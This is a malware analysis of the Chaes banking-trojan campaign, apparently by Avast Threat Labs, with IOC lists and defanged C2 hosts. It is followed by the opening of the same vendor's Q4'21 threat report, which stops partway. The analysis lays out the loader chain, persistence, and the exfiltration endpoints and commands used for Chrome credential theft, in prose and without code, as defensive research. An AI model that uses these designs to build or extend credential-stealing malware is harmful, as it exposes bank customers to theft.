• mercadolivre.com.br
• lojaintegrada.com.br

Technical Analysis

Infected websites

Upon inspecting the HTML code of the compromised websites, we found the malicious script inserted as shown below:

In this case, the V=28 likely represents the version number. We also found a URL with other versions as well:

• https://is[.]gd/EnjN1x?V=31
• https://is[.]gd/oYk9ielu?D=30
• https://is[.]gd/Lg5g13?V=29
• https://is[.]gd/WRxGba?V=27
• https://is[.]gd/3d5eWS?V=26

The script creates an HTML element that stays on top of the page with “Java Runtime Download” lure. This element references an image from a suspicious URL

• https://sys-dmt[.]net/index.php?D\
• https://dmt-sys[.]net/

and an on-click download of a Microsoft Installer from

• https://bkwot3kuf[.]com/wL38HvYBiOl/index.php?get or
• https://f84f305c[.]com/aL39HvYB4/index.php?get or
• https://dragaobrasileiro[.]com.br/wp-content/themes/getCorsFile.php

Microsoft Installer

The flowchart below shows the infection chain following the malicious installer execution.

The installer contains 3 malicious JS files install.js, sched.js, and sucesso.js renamed to Binary._ as shown above. Each of them handles a different task, but all are capable of reporting the progress to the specified CnC:

install.js

The purpose of this script is to download and execute a setup script called runScript that will prepare the proper Python environment for the next stage loader. After making an HTTP request to a hardcoded domain, the obfuscated runScript is downloaded and then executed to perform the following tasks:

• Check for Internet connection (using google.com)
• Create %APPDATA%\\<pseudo-random folder name>\\extensions folder
• Download password-protected archives such as python32.rar/python64.rar and unrar.exe to that extensions folder
• Write the path of the newly created extensions folder to HKEY_CURRENT_USER\\Software\\Python\\Config\\Path
• Performs some basic system profiling
• Execute unrar.exe command with the password specified as an argument to unpack python32.rar/python64.rar
• Connect to C2 and download 32bit and 64bit __init__.py scripts along with 2 encrypted payloads. Each payload has a pseudo-random name.

sched.js

The purpose of this script is to set up persistence and guarantee the execution of __init__.py downloaded by runScript from the previous step. Sched.js accomplishes this by creating a Scheduled Task as its primary means and creating a  Startup link as its backup means. Ultimately, they are both able to maintain the after-reboot execution of the following command:

 ...\\<python32|python64>\\pythonw.exe __init__.py /m

sucesso.js

This script reports to CnC that the initial installation on the victim’s computer has succeeded and is ready for the next stage

Python Loader Chain

The Scheduled Task created by sched.js eventually starts  __init__.py which initiates the Python in-memory loading chain. The loading chain involves many layers of Python scripts, JS scripts, shellcode, Delphi DLLs, and .NET PE which we will break down in this section. Impressively, the final payload is executed within __init__.py process (PID 2416 and 4160) as shown below:

__init__.py

The __init__.py  xor decrypts and decompresses the pseudo-random filename downloaded by runScript.js into another Python script. The new Python script contains 2 embedded payloads: image and shellcode in encrypted form. Image represents the Chaes loader module called chaes_vy.dll while shellcode is an in-memory PE loader. We found this particular loader shellcode reappearing many times in the later stages of Chaes. Running the shellcode using CreateThread API with proper parameters pointing to chaes_vy.dll, the Python script eventually loads chaes_vy.dll into memory:

Chaes_vy.dll

Chaes_vy is a Delphi module that loads an embedded .NET executable that in turn runs 2 JavaScripts: script.js and engine.js. These two scripts hold the core functionalities of the Chaes_vy module.

script.js

This script acts as the interface between .NET framework and JScript framework, providing the necessary utilities to execute any scripts and modules that engine.js downloads in the future. By default, script.js will try to retrieve the paths to payloads specified in the argument of __init__.py. If nothing is found it will execute engine.js

engine.js

This script employs 2 methods of retrieving a JS payload: getBSCode() and getDWCode() both are called every 6 minutes.

GetBSCode is the primary method, also the only one we are able to observe serving payload. The encrypted payload is hidden as commented-out code inside the HTML page of a Blogspot which is shown below. Without being infected by Chaes, this site is completely harmless.

On the other hand, when executed, engine.js will parse the string starting from  <div id=\”rss-feed\”> which is the marker of the encrypted payload:

After decrypting this text using AES with a hardcoded key, instructions.js is retrieved and executed. This script is in charge of downloading and executing Chaes’ malicious Chrome “extensions”. More info about instructions.js is provided in the next section.

getDWCode is the secondary method of retrieving instruction.js. It employs a DGA approach to find an active domain weekly when getBSCode fails. Since we are not able to observe this method being used successfully in the wild, we have no analysis to present here. However, you can check out the full algorithm posted on our Github.

Instructions.js

Instructions.js is the last stage of the delivery chain. Nothing up to this point has gained the attacker any true benefits. It is the job of instructions.js to download and install all the malicious extensions that will take advantage of the Chrome browser and harm the infected users. The address of all payloads are hardcoded as shown below:

The extensions are separated into password-protected archives vs encrypted binaries. The non-compressed payloads are PE files that can be run independently while compressed ones add necessary NodeJS packages for the extension to run. Below is the example of chremows63_64 archive contents:

All the binaries with dll_filename argument such as chromeows2.bin are encrypted, including the ones inside the RAR archive. The decryption algorithm is located inside script.js as we mentioned in the previous section. To decrypt and run each binary, Chaes needs to call __init__.py with the file path specified as an argument.

The extension installation can be simplified into the following steps:

• An HTTP Request (aws/isChremoReset.php)  is sent to check if Google Chrome from a particular uid has been hooked. If not, Chrome and NodeJS will be closed. More information about uid in the “Online” section below.
• The download request is constructed based on 3 scenarios: 32bit, 64bit, and no Google Chrome found. Each scenario will contain suitable versions of the extensions and their download links.
• The extension is downloaded. The compressed payload will be unpacked properly.
• A hosts file is created for the newly downloaded module. Inside the file is the CnC randomly picked from the following pool:

Each extension will use the address specified in hosts for CnC communication

• Launch each extension through python.exe __init__.py with proper arguments as shown below

Extensions

Online

online.dll is a short-lived Delphi module that is executed by instruction.js before other modules are deployed. Its main purpose is to fingerprint the victim by generating a uid which is a concatenation of drive C: VolumeSerialNumber, UserName, and Computername. The uid is written to a register key SOFTWARE\\Python\\Config\uid before being included inside the beaconing message.

This registry key is also where instruction.js previously gets the uid asking CnC if the victim’s Chrome has been hooked. The first time instruction.js gets launched this registry has not been created yet, therefore the Chrome process is always killed.

Online.dll retrieves the CnC server specified in the hosts file and performs the beaconing request /aws/newClient.php, sending the victim’s uid and basic system information.

Mtps4 (MultiTela Pascal)

Module mtps4 is a backdoor written in Delphi. Its main purpose is to connect to CnC and wait for a responding PascalScript to execute. Similar to the previous module, CnC is retrieved from the hosts file. Mtps4 sends a POST request to the server with a hardcoded User-Agent containing uid and command type. It currently supports 2 commands: start and reset. If the reset command is responded with ‘(* SCRIPT OK *)’, it will terminate the process.

Start command is a bit more interesting.

As a reply to this command, it expects to receive a PascalScript code containing a comment ‘(* SCRIPT OK *)’.

mtps4 is compiled with https://github.com/remobjects/pascalscript to support PascalScript. Before running, the script they create a window that copies the screen and covers the entire desktop to avoid raising suspicion when performing malicious tasks on the system.

Unfortunately during the investigation, we couldn’t get hold of the actual script from the CnC.

Chrolog (ChromeLog)

Chrolog is a Google Chrome Password Stealer written in Delphi. Although it is listed as an extension, Chrolog is an independent tool that extracts user personal data out of the Chrome database and exfiltrates them through HTTP. The CnC server is also retrieved from the hosts file previously created by instruction.js.

HTTP Request	Data Exfiltration
/aws/newUpload.php	Cookies, Web Data, and Login Data (encrypted)
/aws/newMasterKey.php	Chrome Master Key used to decrypt Login Data
/aws/newProfileImage.php	Profile Image URL collected from last_downloaded_gaia_picture_url_with_size attribute inside Local State
/aws/newPersonalData.php	Username, fullname, gaia_name
/aws/bulkNewLogin.php	All Login Data is decrypted and added to local.sql database. Then the corresponding section of the database is exfiltrated
/aws/bulkNewUrl.php	History is added to local.sql database. Then the corresponding section of the database is exfiltrated
/aws/bulkNewAdditionalData.php	Web Data is written to local.sql database. Then the corresponding section of the database is exfiltrated
/aws/bulkNewProcess.php	All running processes are collected and written to local.sql database. Then the corresponding section of the database is exfiltrated

Chronodx (Chrome Noder)

The chronodx extension package can be separated into 2 parts: a loader called Chronod2.dll and a JavaScript banking trojan called index_chronodx2.js. First, Chronod2.dll performs an HTTP request /dsa/chronod/index_chronodx2.js to retrieve index_chronodx2.js. If successful, Chronod2.dll will run silently in the background until it detects the Chrome browser opened by the user. When that happens, it will close the browser and reopen its own instance of Chrome along with index_chronodx2.js being run from the node.exe process.

Index_chronodx2.js utilizes puppeteer-core, a NodeJS framework that provides APIs to control Chrome browser, for malicious purposes. Index_chronodx2.js implements many features to intercept popular banking websites in Brazil including

• bancobrasil.com.br/aapf
• bancodobrasil.com.br/aapf
• bb.com.br/aapf
• mercadopago.com/…/card_tokens/
• mercadopago.com/enter-pass/
• mercadolivre.com/enter-pass/
• lojaintegrada.com.br/public/login/
• mercadobitcoin.com.br

Upon visiting any of the above websites, index_chronodx2.js will start collecting the victim’s banking info and send it to the attacker through a set of HTTP commands. The CnC server is stored in the hosts file, but when it is not found in the system, a hardcoded backup CnC will be used instead:

C2 Command	Meaning
/aws/newQRMPClient.php	Supposedly sending user info to the attacker when a QR code scan is found on banking websites listed above, but this feature is currently commented out
/aws/newContaBBPF.php	Sending user banking info when Bancodobrasil banking sites are intercepted
/aws/newContaCef.php	Sending user banking info when Caixa banking sites are intercepted
/aws/newCaixaAcesso.php	Telling the attacker that a victim has accessed Caixa banking page
aws/newMercadoCartao.php	Sending user banking info when Mercado banking sites are intercepted
/aws/newExtraLogin.php	Send user credentials when logging in to one of the listed pages

Chremows (Chrome WebSocket)

Chremows is another extension that uses NodeJS and puppeteer-core, and is similar to the functionality of node.js mentioned in the Cybereason 2020 report. Chremows targets two platforms Mercado Livre (mercadolivre.com.br) and Mercado Pago (mercadopago.com.br) both belong to an online marketplace company called Mercado Libre, Inc.

Sharing the same structure of chronodx module, chremows contains a loader, CreateChrome64.dll that downloads a JavaScript-based banking trojan called index.js. CreateChrome64.dll will automatically update index.js when a newer version is found. Unlike chronodx, chremows executes index.js immediately after download and doesn’t require Google Chrome to be opened. In a separate thread, CreateChrome64.dll loads an embedded module ModHooksCreateWindow64.dll that Cybereason has analyzed in their 2020 report. Overall, this module help increase the capabilities that chremows has on Google Chrome, allowing the attacker to perform “active” tasks such as sending keypresses/mouse clicks to Chrome, or opening designated pages. Finally, CreateChrome64.dll copies Chrome’s Local State file to the same location of index.js with the name local.json. Index.js uses local.json to help the attacker identify the victim.

Index.js employs two methods of communicating with the attacker: through WebSocket and through HTTP. Each method has its own set of C2 servers as shown in the above picture. WebSocket is used to receive commands and send client-related messages. On the other hand, HTTP is for exfiltrating financial data such as banking credentials and account information to the attacker.

List of known Index.js WebSocket commands

Command from C2	Functionality
welcome::	Send uid and information extract from local.json to the attacker
control::	The attacker establishes control over Google Chrome
uncontrol::	The attacker removes control over Google Chrome
ping::	Check if the connection to the client is OK
command::	Send command such as keystroke, mouseclick
openbrowser::	Open Chrome window with minimal size to stay hidden

If the user stays connected to the WebSocket C2 server, every six minutes it automatically goes to the targeted Mercado Pago and Mercado Livre pages and performs malicious tasks. During this routine, the attacker loses direct control of the browser. The target pages are banking, credit, and merchant pages that require users’ login. If the user has not logged out of these pages, the attacker will start to collect data and exfiltrate them through the following HTTP requests:

• /aws/newMercadoCredito.php
• /aws/newMercadoPago.php

If the user is not logged in to those pages but has the password saved in Chrome, after the routine ends, the attackers will get back their direct control of Chrome and log in manually.

Summary

Chaes exploits many websites containing CMS WordPress to serve malicious installers. Among them, there are a few notable websites for which we tried our best to notify BR Cert. The malicious installer communicates with remote servers to download the Python framework and malicious Python scripts which initiate the next stage of the infection chain. In the final stage, malicious Google Chrome extensions are downloaded to disk and loaded within the Python process. The Google Chrome extensions are able to steal users’ credentials stored in Chrome and collect users’ banking information from popular banking websites.

IOCs

The full list of IoCs is available here

Network

HTML Scripts

• is[.]gd/EnjN1x?V=31
• is[.]gd/oYk9ielu?D=30
• is[.]gd/Lg5g13?V=29
• tiny[.]one/96czm3nk?v=28
• is[.]gd/WRxGba?V=27
• is[.]gd/3d5eWS?V=26

MSI Download URLs

• dragaobrasileiro[.]com.br/wp-content/themes/getcorsfile.php?
• chopeecia[.]com.br/D4d0EMeUm7/index.php?install
• bodnershapiro[.]com/blog/wp-content/themes/twentyten/p.php?
• dmt-sys[.]net/index.php?
• up-dmt[.]net/index.php?
• sys-dmt[.]net/index.php?
• x-demeter[.]com/index.php?
• walmirlima[.]com.br/wp-content/themes/epico/proxy.php?
• atlas[.]med.br/wp-content/themes/twentysixteen/proxy.php?
• apoiodesign[.]com/language/overrides/p.php?

CnC Servers

• 200[.]234.195.91
• f84f305c[.]com
• bkwot3kuf[.]com
• comercialss[.]com
• awsvirtual[.]blogspot.com
• cliq-no[.]link
• 108[.]166.219.43
• 176[.]123.8.149
• 176[.]123.3.100
• 198[.]23.153.130
• 191[.]252.110.241
• 191[.]252.110.75

SHA256 Hashes

Filename	Hash
MSI installer	f20d0ffd1164026e1be61d19459e7b17ff420676d4c8083dd41ba5d04b97a08c 069b11b9b1b20828cfb575065a3d7e0b6d00cd1af10c85c5d6c36caea5e000b7 1836f3fa3172f4c5dbb15adad7736573b4c77976049259cb919e3f0bc7c4d5ea 02831471e4bf9ef18c46ed4129d658c8ce5b16a97f28228ab78341b31dbef3df a3bcbf9ea2466f422481deb6cb1d5f69d00a026f9f94d6997dd9a17a4190e3aa 62053aeb3fc73ef0940e4e30056f6c42b737027a7c5677f9dbafc5c4de3590bd e56a321cae9b36179e0da52678d95be3d5c7bde2a7863e855e331aea991d51b9 7a819b168ce1694395a33f60a26e3b799f3788a06b816cc3ebc5c9d80c70326b
__init__.py	70135c02a4d772015c2fce185772356502e4deab5689e45b95711fe1b8b534ce 6e6a44ca955d013ff01929e0fa94f956b7e3bac557babcd7324f3062491755e2 0b5646f45f0fad3737f231f8c50f4ed1a113eb533997987219f7eea25f69d93f abc071831551af554149342ad266cc43569635fb9ea47c0f632caa5271cdf32
runScript.js	bd4f39daf16ca4fc602e9d8d9580cbc0bb617daa26c8106bff306d3773ba1b74
engine.js	c22b3e788166090c363637df94478176e741d9fa4667cb2a448599f4b7f03c7c
image	426327abdafc0769046bd7e359479a25b3c8037de74d75f6f126a80bfb3adf18 3311b0b667cd20d4f546c1cb78f347c9c56d9d064bb95c3392958c79c0424428 c9b3552665911634489af5e3cb1a9c0c3ab5aed2b73c55ae53b8731a1de23a9f
chremows	fa752817a1b1b56a848c4a1ea06b6ab194b76f2e0b65e7fb5b67946a0af3fb5b e644268503cf1eaf62837ec52a91b8bec60b0c8ee1fb7e42597d6c852f8b8e9d bd5d2a0ec30fa454af1a086b4c648039422eca4fa1b1d6e8ecc4d47be7fab27f 4d2ffae69b4e0f1e8ba46b79811d7f46f04bd8482568eccf5620e6b1129c1633 faad384e124c283a8d024ee69dceaac877be52f5adbf18ca6b475a66663b0e85 969fa30802bdb81be5b57fef073896c2ee3df4211663301548f8efa86257e0cf 5a1ebf757ab9aa796a8580daafab9635660b9cc55505db194cbfefeb612e48f0 2d9e040820acca9a0fab2dc68546e0a824c4c45ee8c62332213e47e1f6923c90 e1d9effa8a56d23dbcefd2146eb5c174a245b35a4f718473452135bd064a2157 32c545e133183e6fc999e8f6a0da3c6e7fb1a12b97d2a3bbc5e84faa175a9ef6 ba3e0314b1d6e6ee10c473c1bbd883c4a5c53b5703b5ced174cd5a30b0b87160 e210217f2b5912e16a281dcbd5a5247fe2a62897dc5c2e1bf4ff61d3a07405f0 7a1d74c4d62ceee45a3cbaf79070cfc01342a05f47e0efb401c53040897bed77 550188ad28ccc07791880777c2de07e6d824a7263b9e8054423597b160e594a3 9603c4ce0f5a542945ed3ced89dd943eb865368b4e263090be9e0d9c1785615d
chrolog	9dbbff69e4e198aaee2a0881b779314cdd097f63f4baa0081103358a397252a1 6dc63ea4dbe5d710b7ba161877bd0a3964d176257cdfb0205c1f19d1853cc43b 3e48f714e793b3111ce5072e325af8130b90a326eca50641b3b2d2eba7ac0a45 754eeb010795c86d1cc47b0813da6bbc6d9153f1dd22da8af694a9e2dca51cda 0762038fe591fef3235053c7136f722820de6d8457cae09d4aa9bf6cb7f497a1
chronod	ea177d6a5200a39e58cd531e3effb23755604757c3275dfccd9e9b00bfe3e129 7c275daab005bb57e8e97ac98b0ae145a6e850370e98df766da924d3af609285 96224c065027bb72f5e2caebf4167482fe25fb91c55f995e1c86e1c9884815c3 2688a7ac5b408911ae3e473278ecbc7637491df2f71f6f681bc3ed33045b9124 f3c1fd9e8674901771c5bfc4ce16eba75beff7df895a4dc6fdd33bedb2967a08 ddecc2606be56beae331000ba091e5e77ae11380f46eba45387c65289e6ce421 debe443266ab33acb34119f515f4622464edff198f77fd20006e2d79aafb6dfc bf4a83a19065d5c45858ceb988dce39d93c412902ead6434e85fbf2caa17db44 87502ad879a658aa463088c50facfbdbb1c6592263e933b8b99e77293fdf1384 6b6abc64053d20306147efced9df2ef75153e87a1d77ce657943b2373fb4ffb9 679a02d0ae4f5382767eb11cefad59c0664f55ed2ce3e3b3df97b78c09e18aa3 564b31c3d609d96a73ee139ec53453b985673ffacacb56ecd13d2c83bbf851e0 e649f71b68cc54f3d985e398f1c6354963ec027a26230c4c30b642d2fd5af0a6
online	3fd48530ef017b666f01907bf94ec57a5ebbf2e2e0ba69e2eede2a83aafef984
mtps4	5da6133106947ac6bdc1061192fae304123aa7f9276a708e83556fc5f0619aab

The post Chasing Chaes Kill Chain appeared first on Avast Threat Labs.

Foreword

Welcome to the Avast Q4’21 Threat Report! Just like the rest of last year, Q4 was packed with many surprises and plot twists in the threat landscape. Let me highlight some of them.

We all learned how much impact a small library for logging can have. Indeed, I’m referring to the Log4j Java library, where a vulnerability was discovered and immediately exploited. The rate at which malware operators exploited the vulnerability was stunning. We observed coinminers, RATs, bots, ransomware, and of course APTs abusing the vulnerability faster than a software vendor could say “Am I also using this Log4j library somewhere below?”. In a nutshell: Christmas came early for malware authors.

Original credits: XKCD

Furthermore, in my Q3’21 foreword, I mentioned the take-down of botnet kingpin, Emotet. We were curious which bot would replace it… whether it would be Trickbot, IcedID, or one of the newer ones. But the remaining Emotet authors had a different opinion, and pretty much said “The king is dead, long live the king!”, they rewrote several Emotet parts, revived their machinery, and took the botnet market back with the latest Emotet reincarnation.

Out of the other Q4’21 trends, I would like to highlight an interesting symbiosis of a particular adware strain that is protected by the Cerbu rootkit, which was very active in Africa and Asia. Furthermore, coinminers increased by 40% worldwide by infecting webpages and pirated software. In this report, we also provide a sneak peek into our recent research of banking trojans in Latin America and also dive into the latest in the mobile threat landscape.

Last but not least, Q4’21 was also special in terms of ransomware. However, unlike in previous quarters when you could only read about massive increases in attacks, ransom payments, or high-profile victims, Q4 brought us a long-awaited drop of ransomware activity by 28%! Why? Please, continue reading.

Jakub Křoustek, Malware Research Director

Methodology

This report is structured as two main sections – Desktop, informing about our intel from Windows, Linux, and MacOS, and Mobile, where we inform about Android and iOS threats.

Furthermore, we use the term risk ratio in this report for informing about the severity of particular threats, which is calculated as a monthly average of “Number of attacked users / Number of active users in a given country”. Unless stated otherwise, the risk is available just for countries with more than 10,000 active users per month.

Desktop

Advanced Persistent Threats (APTs)

Advanced Persistent Threats are typically created by Nation State sponsored groups which, unlike cybercriminals, are not solely driven by financial gain. These groups pursue nation states’ espionage agenda, which means that specific types of information, be it of geopolitical importance, intellectual property, or even information that could be used as a base for further espionage, are what they are after.

In December, we described a backdoor we found in a lesser known U.S. federal government commission. The attackers were able to run code on an infected machine with System privileges and used the WinDivert driver to read, filter and edit all network communication of the infected machine. After several unsuccessful attempts to contact the targeted commission over multiple channels, we decided to publish our findings in December to alert other potential victims of this threat. We were later able to engage with the proper authorities who are in possession of our full research and took action to remediate the threat.

Early November last year, we noticed the LuckyMouse APT group targeting two countries: Taiwan and the Philippines. LuckyMouse used a DLL sideload technique to drop known backdoors. We spotted a combination of the HyperBro backdoor with the Korplug backdoor being used. The dropped files were signed with a valid certificate of Cheetah Mobile Inc.

The top countries where we saw high APT activity were: Myanmar, Vietnam, Indonesia, and Ukraine. An actor known as Mustang Panda is still active in Vietnam. We also tracked a new campaign in Indonesia that appears to have been initiated in Q4’21.

The Gamaredon activity we observed in Q3’21 in Ukraine dropped significantly about a week before the Ukrainian Security Service publicly revealed information regarding the identities of the Gamaredon group members. Nevertheless, we still saw an increase in APT activity in the country. 

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher
Daniel Beneš, Malware Researcher

Adware

Adware, as the name suggests, is software that displays ads, often in a disturbing way, without the victim realizing what is causing the ads to be displayed. We primarily monitor adware that is potentially dangerous and is capable of adding a backdoor to victims’ machines. Adware is typically camouflaged as legitimate software, but with an easter egg.

Desktop adware has become more aggressive in Q4’21, illustrated in the graph below. In comparison to Q3’21, we saw a significant rise in adware in Q4’21 and a serious peak at the beginning of Q4’21. Moreover, the incidence trend of adware in Q4’21 is very similar to the rootkit trend, which will be described later. We believe these trends are related to the Cerbu rootkit that can hijack requested URLs and then serve adware.

The risk ratio of adware has increased by about 70% worldwide in contrast to Q3’21. The most affected regions are Africa and Asia.

In terms of regions where we protected the most users from adware, users in Russia, the U.S., and Brazil were targeted the most in Q4’21.

Martin Chlumecký, Malware Researcher

Bots

The last quarter of 2021 was everything but uneventful in the world of botnets. Celebrations of Emotet’s takedown were still ongoing when we started to see Trickbot being used to resurrect the Emotet botnet. It looks like “Ivan” is still not willing to retire and is back in business. As if that wasn’t enough, we witnessed a change in Trickbot’s behavior. As can be seen in the chart below, by the end of November, attempts at retrieving the configuration file largely failed. By the middle of December, this affected all the C&Cs we have identified. While we continue to observe traffic flowing to a C&C on the respective ports, it does not correspond to the former protocol.

Just when we thought we were done with surprises, December brought the Log4shell vulnerability, which was almost immediately exploited by various botnets. It ought to be no surprise that one of them was Mirai, again. Moreover, we saw endpoints being hammered with bots trying to exploit the vulnerability. While most of the attempts lead to DNS logging services, we also noticed several attempts that tried to load potentially malicious code. We observed one interesting thing about the Log4shell vulnerability: While a public endpoint might not be vulnerable to Log4shell, it could still be exploited if logs are sent from the endpoint to another logging server.

Below is a heatmap showing the distribution of botnets that we observed in Q4 2021.

As for the overall risk ratios, the top of the table hasn’t changed much since Q3’21 and is still occupied by Afghanistan, Turkmenistan, Yemen, and Tajikistan. What has changed is their risk ratios have significantly increased. A similar risk ratio increase occurred for Japan and Portugal, even though in absolute value their risk ratio is still significantly lower than in the aforementioned countries. The most common botnets we saw in the wild are:

• Phorpiex
• BetaBot
• Tofsee
• Mykings
• MyloBot
• Nitol
• LemonDuck
• Emotet
• Dorkbot
• Qakbot

Adolf Středa, Malware Researcher

Coinminers

Even though cryptocurrencies experienced turbulent times, we actually saw an increase of malicious coin mining activity, it increased by a whooping 40% in our user base in Q4’21, as can be seen on the daily spreading chart below. This increase could be also influenced by the peak in Ethereum and Bitcoin prices in November. 

The heat map below shows that in comparison to the previous quarter, there was a higher risk of a coin miner infection for users in Serbia and Montenegro. This is mainly due to a wider spreading of web miners in these regions, attempting to mine cryptocurrencies while the victim is visiting certain webpages. XMRig is still the leader choice among the popular coinminers.

CoinHelper is one of the prevalent coinminers that was still very active throughout Q4’21, mostly targeting users in Russia and the Ukraine. When the malware is executed on a victim’s system, CoinHelper downloads the notorious XMRig miner via the Tor network and starts to mine. Apart from coin mining, CoinHelper also harvests various information about its victims to recognize their geolocation, what AV solution they have installed, and what hardware they are using.

The malware is being spread in the form of a bundle with many popular applications, cracked software such as MS Office, games and game cheats like Minecraft and Cyberpunk 2077, or even clean installers, such as Google Chrome or AV products, as well as hiding in Windows 11 ISO image, and many others. The scope of the spreading is also supported by seeding the bundled apps via torrents, further abusing the unofficial way of downloading software.

Even though we observed multiple crypto currencies, including Ethereum or Bitcoin, configured to be mined, there was one particular type that stood out – Monero. Even though Monero is designed to be anonymous, thanks to the wrong usage of addresses and the mechanics of how mining pools work, we were able to get a deeper look into the malware authors’ Monero mining operation and find out that the total monetary gain of CoinHelper was 339,694.86 USD as of November, 29, 2021.

Cryptocurrency	Earnings in USD	Earnings in cryptocurrency	Number of wallets
Monero	$292,006.08	1,216.692 [XMR]	311
Bitcoin	$46,245.37	0.800 [BTC]	54
Ethereum	$1,443.41	0.327 [ETH]	5

Since the release of our CoinHelper blogpost, the miner was able to mine an additional ~15.162 XMR as of December 31, 2021 which translates to ~3,446.03 USD. With this calculation, we can say that at the turn of the year 2021, CoinHelper was still actively spreading, with the ability to mine ~0.474 XMR every day.

Jan Rubín, Malware Researcher
Jakub Kaloč, Malware Researcher

Information Stealers

In comparison with the previous quarters, we saw a slight decrease in information stealer in activity. The reason behind this is mainly a significant decrease in Fareit infections, which dropped by 61%. This places Fareit to sixth position from the previously dominant first rank, holding roughly 9% of the market share now. To this family, as well as to all the others, we wish a happy dropping in 2022!

The most prevalent information stealers in Q4’21 were AgentTesla, FormBook, and RedLine stealers. If you happen to get infected by an infostealer, there is almost a 50% chance that it will be one of these three.

Even though infostealers are traditionally popular around the world, there are certain regions where there is a greater risk of encountering one. Users in Singapore, Yemen, Turkey, and Serbia are most at risk of losing sensitive data. Out of these countries, we only saw an increase in risk ratio in Turkey when comparing the ratios to Q3’21.

Finally, malware strains based on Zeus still dominate the banking-trojan sector with roughly 40% in market share. However, one of these cases, the Citadel banker, experienced a significant drop in Q4’21, providing ClipBanker a space to grow.

Jan Rubín, Malware Researcher

LatAm Region

Latin America has always been an interesting area in malware research due to the unique and creative TTPs employed by multiple threat groups operating within this regional boundary. During Q4’21, a threat group called Chaes dominated Brazil’s threat landscape with infection attempts detected from more than 66,600 of our Brazilian customers. Compromising hundreds of WordPress web pages with Brazilian TLD, Chase serves malicious installers masquerading as Java Runtime Installers in Portuguese. Using a complex Python in-memory loading chain, Chaes installs malicious Google Chrome extensions onto victims’ machines. These extensions are capable of intercepting and collecting data from popular banking websites in Brazil such as Mercado Pago, Mercado Livre, Banco do Brasil, and Internet Banking Caixa.

Ousaban is another high-profile regional threat group whose operations in Brazil can be traced back to 2018. Getting massive attention in Q2’21 and Q3’21, Ousaban remains active during the Q4’21 period with infection attempts detected from 6,000+ unique users. Utilizing a technique called side-loading, Ousaban’s malicious payload is loaded by first executing a legitimate Avira application within a Microsoft Installer. The download links to these installers are mainly found in phishing emails which is Ousaban’s primary method of distribution.

Anh Ho, Malware Researcher
Igor Morgenstern, Malware Researcher

Ransomware

Let’s go back in time a little bit at first, before we dive into Q4’21 ransomware activity. In Q3’21, ransomware warfare was escalating, without a doubt. Most active strains were more prevalent than ever before. There were newspaper headlines about another large company being ransomed every other day, a massive supply-chain attack via MSP, record amounts of ransom payments, and sky-high self-esteem of cybercriminals.

While unfortunate, this havoc triggered a coordinated cooperation of nations, government agencies, and security vendors to hunt down ransomware authors and operators. The FBI, the U.S. Justice Department, and the U.S. Department of State started putting marks on ransomware gangs via multi-million bounties, the U.S. military acknowledged targeting cybercriminals who launch attacks on U.S. companies, and we even started witnessing actions by Russian officials. The most critical part was the busts of ransomware-group members by the FBI, Europol, and DoJ in Q4’21.

We believe all of this resulted in a significant decrease in ransomware attacks in Q4’21. In terms of the ransomware risk ratio, it was lower by an impressive 28% compared to Q3’21. We hope to see a continuation of this trend in Q1’22, but we are also prepared for the opposite.

The positive decrease of the risk ratio Q/Q was evident in the majority of countries where we have our telemetry, with a few exceptions such as Bolivia, Uzbekistan, and Mongolia (all with more than +400% increase), Kazakhstan and Belarus (where the risk ratio doubled Q/Q), Russia (+49%), Slovakia (+37%), or Austria (+25%).

The most prevalent strains from Q3’21 either vanished or significantly decreased in volume in Q4’21. For example, the operators and authors of the DarkMatter ransomware went silent, most probably because a $10 million bounty was put on their heads by the FBI. Furthermore, STOP ransomware, which was the most prevalent strain in Q3’21, was still releasing new variants regularly to lure users seeking pirated software, but the number of targeted (and protected) users dropped by 58% and its “market share” decreased by 36%. Another strain worth mentioning was Sodinokibi aka REvil – its presence decreased by 50% in Q4’21 and it will be interesting to monitor its future presence because of the circumstances happening in Q1’22 (greetings to Sodinokibi/REvil gang members currently sitting custody).

The most prevalent ransomware strains in Q4’21: 

• STOP
• WannaCry
• Sodinokibi
• Conti
• CrySiS
• Exotic
• Makop
• GlobeImposter
• GoRansomware
• VirLock

Not everything ransomware related was positive in Q4’21. For example, new strains were discovered that could quickly emerge in prevalence, such as BlackCat (aka ALPHV) with its RaaS model introduced on darknet forums or a low-quality Khonsari ransomware, which took the opportunity to be the first ransomware exploiting the aforementioned Log4j vulnerability and thus beating the Conti in this race.

Last, but not least, I would like to mention new free ransomware decryption tools we’ve released. This time for AtomSilo, LockFile, and Babuk ransomware. AtomSilo is not the most prevalent strain, but it has been constantly spreading for more than a year. So we were happy as our decryptor immediately started helping ransomware victims.

Jakub Křoustek, Malware Research Director

Remote Access Trojans (RATs)

The last weeks of Q4’21 are also known as “days of peace and joy” and this claim also applies for malicious actors. As you can see in the graph below of RAT activity for this quarter, it is obvious that malware actors are just people and many of them took holiday breaks, that’s probably why the activity level during the end of December more than halved. The periodical drops that can be seen are weekends as most campaigns usually appear from Monday to Thursday.

In the graph below, we can see a Q3/Q4 comparison of the RAT activity.

The heat map below shines with multiple colors like a Christmas tree and among the countries with the highest risk ratio we see Czech Republic, Singapore, Serbia, Greece, and Croatia. We also detected a high Q/Q increase of the risk ratio in Slovakia (+39%), Japan (+30%), and Germany (+23%).

Most prevalent RATs in Q4’21:

• Warzone
• njRAT
• Remcos
• NanoCore
• AsyncRat
• QuasarRAT
• NetWire
• SpyNet
• DarkComet
• DarkCrystal

The volume of attacks and protected users overall was similar to what we saw in Q3’21, but there was also an increase within families, such as Warzone or DarkCrystal (their activity more than doubled), SpyNet (+89%) and QuasarRAT(+21%). 

A hot topic this quarter was a vulnerability in Log4j and in addition to other malware types, some RATs were also spread thanks to the vulnerability. The most prevalent were NanoCore, AsyncRat and Orcus. Another new vulnerability that was exploited by RATs was CVE-2021-40449. This vulnerability was used to elevate permissions of malicious processes by exploiting the Windows kernel driver. Attackers used this vulnerability to download and launch the MistarySnail RAT. Furthermore, a very important cause of high Nanocore and AsyncRat detections was caused by a malicious campaign abusing the cloud providers, Microsoft Azure and Amazon Web Service (AWS). In this campaign malware attackers used Azure and AWS as download servers for their malicious payloads.

But that’s not all, at the beginning of December we found a renamed version of DcRat under the name SantaRat. This renamed version was just pure copy-paste of DcRat, but it shows that malware developers were also in the Christmas spirit and maybe they also hoped that their version of Santa would visit many households as well, to deliver their gift. To be clear, DcRat is a slightly modified version of AsyncRat. 

The developers of DcRat weren’t the only ones playing the role of Santa and distributing gifts. Many other malware authors also delivered RAT related gifts to us in Q4’21.

